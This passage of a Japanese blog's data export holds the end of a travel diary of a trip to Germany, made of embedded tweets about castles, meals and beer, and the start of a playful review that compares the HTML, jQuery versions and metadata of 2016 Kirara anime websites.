(3/11)\n\nあしゅりー城いってきた\n\n#### 水分補給\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">花金じゃー!! (€3,50) (@ Allgäuer Stüberl in Schwangau) <a href=\"https://t.co/Kn7DzL6UWg\">https://t.co/Kn7DzL6UWg</a> <a href=\"https://t.co/myZdzoMHUj\">pic.twitter.com/myZdzoMHUj</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708251179466276864\">2016年3月11日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">シュニッツェル!!! <a href=\"https://t.co/caIxI57Xqg\">pic.twitter.com/caIxI57Xqg</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708252928436412416\">2016年3月11日</a></blockquote>\n\n#### Schloss Neuschwanstein\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ノイシュバンシュタイン城 <a href=\"https://t.co/9IafOHIbwI\">pic.twitter.com/9IafOHIbwI</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708286438715039744\">2016年3月11日</a></blockquote>\n\n\nこの城の名前、ノイシュバンシュタイン城とカタカナで表記されることが多く、意味を知らない人が多いかと思います。\nドイツ語は英語とは違い、複数の単語が空白で区切られることなく、一つにまとまった合成語があり、このノイシュバンシュタインもその一つです。\nノイシュバンシュタインは3つの単語から構成されており、Neu・Schwan・Steinに分けられ、それぞれの単語の意味を合成すると、\nこの城の名は「新しい白鳥の城」となります(城の名前の最後に付く-steinや、-burgなどの接尾辞は城砦を意味し、城の名前の意味としては捉えない)。\n\n**要するに、ドイツのトリの城。**\n\nドイツのトリの聖地巡礼を考えている人はぜひこちらにもお立ち寄りください。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ドイツのトリ、実際めちゃくちゃたくさんいるし、ノイシュバンスタイン城のおみやげコーナーにも売ってたくらい<a href=\"https://t.co/Hpvn7kJw8R\">https://t.co/Hpvn7kJw8R</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708363852061286400\">2016年3月11日</a></blockquote>\n\n### 3日目 (3/12)\n\nローテンブルクにいってみました。\nここもドイツのきれいな石畳の街として有名な観光スポットです。\n日本人ばっかりいました。\n\n#### 観光\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"de\" dir=\"ltr\">I&#39;m at Rödertor in Rothenburg ob der Tauber, BY <a href=\"https://t.co/wUHgKVgM1l\">https://t.co/wUHgKVgM1l</a> <a href=\"https://t.co/0kSqplXtzI\">pic.twitter.com/0kSqplXtzI</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708608221620129793\">2016年3月12日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"de\" dir=\"ltr\">I&#39;m at Rothenburg ob der Tauber in Rothenburg ob der Tauber, Bayern <a href=\"https://t.co/qZnjTkKZD4\">https://t.co/qZnjTkKZD4</a> <a href=\"https://t.co/1ySoGi1wJj\">pic.twitter.com/1ySoGi1wJj</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708608645026729984\">2016年3月12日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ローテンブルグの街並み <a href=\"https://t.co/IbipQ9Sjt0\">pic.twitter.com/IbipQ9Sjt0</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708610021697982464\">2016年3月12日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">石畳の街 <a href=\"https://t.co/wPgN6HH9h4\">pic.twitter.com/wPgN6HH9h4</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708617193014042624\">2016年3月12日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">きれい <a href=\"https://t.co/H2hkL7TrXF\">pic.twitter.com/H2hkL7TrXF</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708617199171280896\">2016年3月12日</a></blockquote>\n\n#### 夕食\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">スーパーで買ったソーセージとビールで夕食 <a href=\"https://t.co/D5HucsHFTG\">pic.twitter.com/D5HucsHFTG</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708723838083842048\">2016年3月12日</a></blockquote>\n\n### 4-5日目 (3/13-3/14)\n\nこの日の内容はごちうさAdvent Calendarの記事にまとめてあります。\n\n\n### 6日目 (3/15)\n\nせっかくなので城に泊まろうかと。\n\n#### Hotel Burg Trendelburg\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">今日泊まる古城ホテル <a href=\"https://t.co/lEoFC0g8rl\">pic.twitter.com/lEoFC0g8rl</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709768318685728768\">2016年3月15日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ホテルに備え付け(?)の塔のぼってみた <a href=\"https://t.co/MlhbyvJTy2\">pic.twitter.com/MlhbyvJTy2</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709768873290145792\">2016年3月15日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">古城ホテルの中 <a href=\"https://t.co/eDgesjVbEC\">pic.twitter.com/eDgesjVbEC</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709769643427233792\">2016年3月15日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">古城ホテル (@ Hotel Burg Trendelburg in Trendelburg, Hessen) <a href=\"https://t.co/qmljDXa6BM\">https://t.co/qmljDXa6BM</a> <a href=\"https://t.co/m0o7o5MtPx\">pic.twitter.com/m0o7o5MtPx</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709741208013250560\">2016年3月15日</a></blockquote>\n\n#### 夕食\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">城下町を眺められる豪華なレストラン <a href=\"https://t.co/pswEVqkVzo\">pic.twitter.com/pswEVqkVzo</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709792837920026624\">2016年3月15日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ロゼワイン <a href=\"https://t.co/B1dNdZGMfQ\">pic.twitter.com/B1dNdZGMfQ</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709797007242752000\">2016年3月15日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">前菜 <a href=\"https://t.co/0hYTLivhA0\">pic.twitter.com/0hYTLivhA0</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709797257881722880\">2016年3月15日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">スープ <a href=\"https://t.co/n37HiMl1Ic\">pic.twitter.com/n37HiMl1Ic</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709797450026975233\">2016年3月15日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">メインのお肉! <a href=\"https://t.co/EmlrFBomwK\">pic.twitter.com/EmlrFBomwK</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709801886237458432\">2016年3月15日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">デザート!(燃えてる) <a href=\"https://t.co/OHk5K9jeAG\">pic.twitter.com/OHk5K9jeAG</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709813580317720577\">2016年3月15日</a></blockquote>\n\n\n### 7日目 (3/16)\n\n城を後にしてマインツへ移動する日。\n\n#### 朝食\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">古城ホテルの朝食ビュッフェ <a href=\"https://t.co/UzNw3UVn9o\">pic.twitter.com/UzNw3UVn9o</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710013708253138944\">2016年3月16日</a></blockquote>\n\n#### 夕食\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">買ってきたビールとソーセージとハム食べる <a href=\"https://t.co/qtN2ZgEiPD\">pic.twitter.com/qtN2ZgEiPD</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710190632053174273\">2016年3月16日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">生ハムうめぇ… 8枚も入って150円ほどヤバいビールがすすむ <a href=\"https://t.co/3qSXylCdY6\">pic.twitter.com/3qSXylCdY6</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710192011488464896\">2016年3月16日</a></blockquote>\n\n### 8日目 (3/17)\n\nマインツを散歩。\n\n#### 観光\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ライン川 (@ Mainz in Mainz, Rheinland-Pfalz) <a href=\"https://t.co/ufEgNSvP5K\">https://t.co/ufEgNSvP5K</a> <a href=\"https://t.co/oif35uycL3\">pic.twitter.com/oif35uycL3</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710406436375887872\">2016年3月17日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"de\" dir=\"ltr\">I&#39;m at Theodor-Heuss-Brücke in Mainz, Rheinland-Pfalz <a href=\"https://t.co/qxg8LXUMoe\">https://t.co/qxg8LXUMoe</a> <a href=\"https://t.co/xpnFY1FlAz\">pic.twitter.com/xpnFY1FlAz</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710409832956891136\">2016年3月17日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"en\" dir=\"ltr\">I&#39;m at Kirschgarten <a href=\"https://t.co/3q6bjuLe5J\">https://t.co/3q6bjuLe5J</a> <a href=\"https://t.co/m1cAQuzKWq\">pic.twitter.com/m1cAQuzKWq</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710420434672607232\">2016年3月17日</a></blockquote>\n\n\n#### 夕食\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">調味料とかソーセージとかチーズやシュニッツェルを買い込んでドイツに暮らすレベル <a href=\"https://t.co/DBXZV2Jcnh\">pic.twitter.com/DBXZV2Jcnh</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710507265242087425\">2016年3月17日</a></blockquote>\n\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">自炊開始ー!</p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710527299460972544\">2016年3月17日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">まずはソーセージを焼いたよ <a href=\"https://t.co/XyIvTlBhSZ\">pic.twitter.com/XyIvTlBhSZ</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710529164433035265\">2016年3月17日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ジャガイモと玉ねぎのやつとシュニッツェル焼いてー <a href=\"https://t.co/7ZkH9NvYZb\">pic.twitter.com/7ZkH9NvYZb</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710529324319961089\">2016年3月17日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ドイツ料理の完成ー<br>ビールと一緒にいただきまーす <a href=\"https://t.co/CSGioy8Mko\">pic.twitter.com/CSGioy8Mko</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710529332263960576\">2016年3月17日</a></blockquote>\n\n\n### 9日目 (3/18)\n\nワインの名産地リューデスハイムへ行った。\n\n#### 朝食\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">スーパーで買ってきた食材で朝ごはんー <a href=\"https://t.co/VW7UlukGYv\">pic.twitter.com/VW7UlukGYv</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710738487125876736\">2016年3月18日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">みんな大好きラクレットチーズ(日本のスライスチーズの3倍のサイズのやつが5枚入って150円くらい) <a href=\"https://t.co/8J7L8iwCXi\">pic.twitter.com/8J7L8iwCXi</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710743778605268992\">2016年3月18日</a></blockquote>\n\n#### 観光\n\nシーズンオフのため、ワインの産地だけどブドウ畑は枯れていました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">リューデスハイム <a href=\"https://t.co/UnJuvfyLYl\">pic.twitter.com/UnJuvfyLYl</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710802345026842624\">2016年3月18日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">あたり一面ぶどう畑!(シーズンオフなのでぶどうの木が枯れてる) <a href=\"https://t.co/Mpi5uS6wO5\">pic.twitter.com/Mpi5uS6wO5</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710803875763261440\">2016年3月18日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">たくさんワインの試飲をした(いっぱい買った) (@ Hotel Felsenkeller Rüdesheim) <a href=\"https://t.co/wi9j9Dq3Vg\">https://t.co/wi9j9Dq3Vg</a> <a href=\"https://t.co/OQDvRSx047\">pic.twitter.com/OQDvRSx047</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710843108079116288\">2016年3月18日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">いい感じの雰囲気だった <a href=\"https://t.co/NsV53XHras\">pic.twitter.com/NsV53XHras</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710843247787171840\">2016年3月18日</a></blockquote>\n\n#### 昼食\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">昼間からビール <a href=\"https://t.co/euw9xgaxx5\">pic.twitter.com/euw9xgaxx5</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710813847381102593\">2016年3月18日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ラム肉のステーキ (@ Restaurant Cafe Seilbahn) <a href=\"https://t.co/cVe0yuMixR\">https://t.co/cVe0yuMixR</a> <a href=\"https://t.co/sV6NQYGnvu\">pic.twitter.com/sV6NQYGnvu</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/710834602735181824\">2016年3月18日</a></blockquote>\n\n\n### 10日目 (3/19)\n\nフランクフルト\n\n#### 観光\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">600ユーロのユーロ <a href=\"https://t.co/1clp7vBKhN\">pic.twitter.com/1clp7vBKhN</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711210852754563072\">2016年3月19日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">りんご酒電車! (@ H Zoo in Frankfurt am Main, Hessen) <a href=\"https://t.co/FYDhNLKInh\">https://t.co/FYDhNLKInh</a> <a href=\"https://t.co/axIi2QnNIU\">pic.twitter.com/axIi2QnNIU</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711206598572691456\">2016年3月19日</a></blockquote>\n\n#### 食事\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">自炊ー</p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711273272877453312\">2016年3月19日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">グラシュつくるよー <a href=\"https://t.co/SHZSZklbXV\">pic.twitter.com/SHZSZklbXV</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711273491778113536\">2016年3月19日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">肉を炒めてー <a href=\"https://t.co/w7DhqpBpME\">pic.twitter.com/w7DhqpBpME</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711273716550909954\">2016年3月19日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">煮込んでー <a href=\"https://t.co/SjJKd4Gjjc\">pic.twitter.com/SjJKd4Gjjc</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711273932125556738\">2016年3月19日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">アスパラスープと焼いたジャガイモ添えて完成ー <a href=\"https://t.co/mr9IsdYdi9\">pic.twitter.com/mr9IsdYdi9</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711274298460262405\">2016年3月19日</a></blockquote>\n\n\n### 11日目 (3/20)\n\nミュンヘン空港に移動。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ミュンヘン空港 (@ München Flughafen &quot;Franz Josef Strauß&quot; (MUC) - <a href=\"https://twitter.com/MUC_Airport\">@muc_airport</a> in München, Bayern) <a href=\"https://t.co/E1LqC3UT4H\">https://t.co/E1LqC3UT4H</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711586957881643009\">2016年3月20日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">夕方からビール飲んでる(1㍑ <a href=\"https://t.co/GEepWwmbK4\">pic.twitter.com/GEepWwmbK4</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711594245195485185\">2016年3月20日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ドイツ最後の晩ご飯なので豪遊 (@ Airbräu Brauhaus in München, Bayern) <a href=\"https://t.co/yEYDzd4KBs\">https://t.co/yEYDzd4KBs</a> <a href=\"https://t.co/Tiuw4SDEIN\">pic.twitter.com/Tiuw4SDEIN</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711599618426073094\">2016年3月20日</a></blockquote>\n\n\n### 帰国 (3/21-3/22)\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">飛行機の座席がダブルブッキングしてキャンセル待ち</p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711828865090514945\">2016年3月21日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">座席番号:SBY(スタンバイしろ=キャンセル待ち) <a href=\"https://t.co/h6p8njIIAP\">pic.twitter.com/h6p8njIIAP</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711829737149177856\">2016年3月21日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">保安検査で捕まりました</p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711908626147848192\">2016年3月21日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">【速報】ビジネスクラスに格上げ <a href=\"https://t.co/vlTrTqkqg1\">pic.twitter.com/vlTrTqkqg1</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711927741197766656\">2016年3月21日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">料理まで最高か? <a href=\"https://t.co/jAwCaZVoHO\">pic.twitter.com/jAwCaZVoHO</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/711931496169414657\">2016年3月21日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">これ格安航空券の機内食(ディナー)<br>冷静スモークサーモン・ラバレのマリネ・トナカイのアントルコート・マカロンアソート <a href=\"https://t.co/LuIpOmgYEL\">pic.twitter.com/LuIpOmgYEL</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/712132016091766785\">2016年3月22日</a></blockquote>\n\n\n## まとめ\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ドイツに来てまでずっとツイッターやってる</p>&mdash; レッドアイズ・ブラック弊社 (@Asyley_) <a href=\"https://twitter.com/Asyley_/status/442099164919660544\">2014年3月8日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ドイツに来てまでずっとツイッターやってる</p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708202561845665793\">2016年3月11日</a></blockquote>\n"]}],[0,{"slug":[0,"2016/12/05/dokidokivisual/"],"data":[0,{"title":[0,"2016年のまんがタイムきららアニメを振り返る"],"date":[3,"2016-12-04T15:00:01.000Z"],"image":[0,"/assets/images/2016/12/05/dokidokivisual.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"manga"],[0,"time"],[0,"kirara"],[0,"dokidoki"],[0,"visual"],[0,"anime"],[0,"html5"]]]}],"content":[0,"\n[まんがタイムきらら Advent Calendar 2016 - Adventar](http://www.adventar.org/calendars/1454) 5日目の記事にようこそ!\n今日は2016年のまんがタイムきらら作品を振り返ってみよう!\n\n## 2016年のアニメ放送されたまんがタイムきらら作品たち\n\n今年は冬に0作というスタートを切り、少々不安がありましたが計4作が地上波で放映されました。\n\n- 三者三葉\n- あんハピ♪\n- NEW GAME!\n- ステラのまほう\n\nそれぞれ思い入れの強い作品もあると思いますが、それぞれの作品のいい点悪い点を評価していきます。\n評価といってもストーリーや作画などの主観が大きく影響するようなものではなく、\n公開されている情報から客観的に図れる値を使う振り返り方をしてみます。\n\n## 目次\n\n\n### 三者三葉\n\n2016年春アニメとして放映の開始されたこのアニメ、実に長い間連載を続け今か今かとアニメ放送を楽しみにしていた人も多いかと思います。\nさて、そんな三者三葉のWebサイトを見てみましょう。\n\n\n\n\n[TVアニメ『三者三葉』公式サイト](http://sansyasanyou.com/)\n\n三つ葉が散る穏やかな背景に美少女たちがセンターを飾る美しいサイトです。\n見た目は美しいですが、中身はどうでしょう。早速中をのぞいてみましょう。\n\n\n\nおっといきなりのXHTML宣言!さすが長い間連載していただけあって古のXHTMLで綴られています。\nしっかりとmetaやlinkの空タグをXHTMLとして閉じていますが、\n&lt;img&gt;が空タグとして記述されていません。なんてこった。\n\nまた、モダンWebサイトに見られるOpenGraphの拡張タグもなく、TwitterやFacebookで共有されることを想定していない古の設計です。\n\n\n\n\nソースコードのバージョン管理を行っていないのか、コメントアウトによって削除とする方針がとられているようです。\nコードだけではなくコーディングスタイルも古いようですね。\nしかしこれは連載開始時期を考えれば妥当かもしれません。\n\nリソースの参照先をみるとcore_sysというディレクトリに配置しているようです。\nこの*core_sys*でGoogle検索すると面白いことがわかります。\n\n[core_sys - Google 検索](https://www.google.co.jp/search?q=core_sys)\n\nディレクトリインデックス丸出しのすてきなサイト群がみつかることから、こういったサイトを制作するのが得意な外注業者がいるような匂いが漂いますね。\n\nドメイン取得日は2015年9月24日と1年とちょっと前ですが、見た目とは裏腹にWebサイトのコードは2000年代後半のそれを思わせる仕上がりです。すてき。\n\n\nしかし悪いところばかりではありません。モダンな技術にすがらないこともあって、この三者三葉のサイトは2016年のまんがたタイムきららアニメ作品のWebサイトの中で、唯一JavaScriptが無効の状態でもしっかりと表示されるように作られているのです。\nさすがですわ。\n\n\n\n#### 三者三葉まとめ\n\n 機能 | 状態\n :----:|:----:\n HTML宣言 | XHTML\n 文字コード | UTF-8\n jQuery | 1.11.3\n OGP | なし\n IEサポート | なし\n リソース配置位置 | /core_sys\n viewport | width=1000px\n noscript | \"Javascriptを有効にしてください\"\n JavaScript無効表示 | 対応\n Serverレスポンスヘッダ | Server: Apache\n ドメイン取得日 | 2015-09-24\n\n\n\n### あんハピ♪\n\nこれも時期を同じくして2016年春アニメとして放映されました。\n三者三葉と比べれば、連載開始は大幅に近代化された後なのでWebページの中身も期待ができます。\n\n\n\n\n[TVアニメ「あんハピ♪」公式サイト](http://anne-happy.com/)\n\n\n四つ葉が散る穏やかな背景に美少女たちがセンターを飾る美しいサイトです。\nこの時期は葉っぱを散らせるのがブームだったのでしょうか。既視感のある背景です。\nさて、中身はどうでしょう。\n\n\n\n来ましたHTML5宣言!さすが新しい作品だけあってHTMLも最新のもので記述されています。\nそしてOpenGraphのmetaタグも記述がなされており、TwitterやFacebookで共有される喜びを知っているかのようです。\n加えてスタイルシートはLESSで書かれているようです!\nモダンWeb技術をもりだくさん取り込んでいて大変に美しいWebサイトです。\n\n\n\n\nこれもまたソースコード中にコメントアウトによって要素や機能を削除するといった箇所が見られますね。アニメWebサイト制作の現場ではバージョン管理システムは使ってないんでしょうか。\n\nドメイン取得日は2015年10月26日と番宣開始を前後して用意したようです。\n\n\n#### あんハピ♪まとめ\n\n 機能 | 状態\n :----:|:----:\n HTML宣言 | HTML5\n 文字コード | UTF-8\n jQuery | 2.1.4\n OGP | あり\n IEサポート | なし\n リソース配置位置 | /wp-content\n viewport | width=device-width\n noscript | なし\n JavaScript無効表示 | 対応\n Serverレスポンスヘッダ | Server: Apache\n ドメイン取得日 | 2015-10-26\n\n\n\n### NEW GAME!\n\n漫画が話題になってからアニメ化するまでの速度がものすごく早かった印象のNEW GAME!。\n2016年秋アニメとして放映されていました。\nコミック化の時期を考えると最も新しい部類に分けられるこのアニメ、はたしてWebサイトも新しい技術が使われているのでしょうか。\n\n\n\n\n[TVアニメ『NEW GAME!』オフィシャルサイト](http://newgame-anime.com/)\n\nページ下部でやんややんやうるさいキャラが動いていますが、他はあまり強い印象のないWebサイトです。\n真ん中に登場キャラクターがそれぞれ漫画のコマのように分けられてメインを飾っています。\nおとなしい見た目をしていますが、中身はどうでしょう。\n\n\n\n\nこれもまたHTML5です!HTML5ですがちゃんと古いIEに対してのサポートを忘れない心意気があります。\n既存のライブラリなどのリソースは/libディレクトリ下に、それ以外はその用途ごとにディレクトリを作成して置いているようですね。\n\n\n\n\n突如として現れる&amp;nbsp;の嵐。狂気しか感じません。\n\n\n#### NEW GAME!まとめ\n\n 機能 | 状態\n :----:|:----:\n HTML宣言 | HTML5\n 文字コード | UTF-8\n jQuery | 1.8.3\n OGP | 